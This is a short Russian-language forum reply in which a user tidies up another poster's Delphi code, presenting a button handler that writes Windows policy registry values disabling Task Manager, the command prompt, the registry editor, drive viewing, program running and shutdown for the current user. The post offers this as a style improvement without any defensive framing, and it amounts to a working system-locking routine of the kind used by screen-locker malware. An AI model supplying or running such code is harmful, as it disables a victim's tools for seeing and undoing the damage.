[Alegun]

Пробелов и слешей очень много просто Да, и зачем так грубо использовать бедный TRegistry-то, - шесть раз подряд за цикл выполнять Create..Free, когда можно сделать вот так

Код:

procedure TForm1.Button1Click(Sender: TObject);
begin
with TRegistry.Create do 
try
  RootKey:=HKEY_CURRENT_USER;
  OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
  WriteString('DisableTaskMgr','');
  CloseKey;

  OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', True);
  WriteString('NoViewOnDrive','a');
  WriteString('RestrictRun','a');
  WriteString('NoClose','a');
  CloseKey;

  OpenKey('Software\Policies\Microsoft\Windows\System\DisableCMD', True);
  WriteString('DisableCMD','a');
  CloseKey;

  OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools', True);
  WriteString('DisableRegistryTools','a');
  CloseKey;

finally
   Free;
end; {with}
end;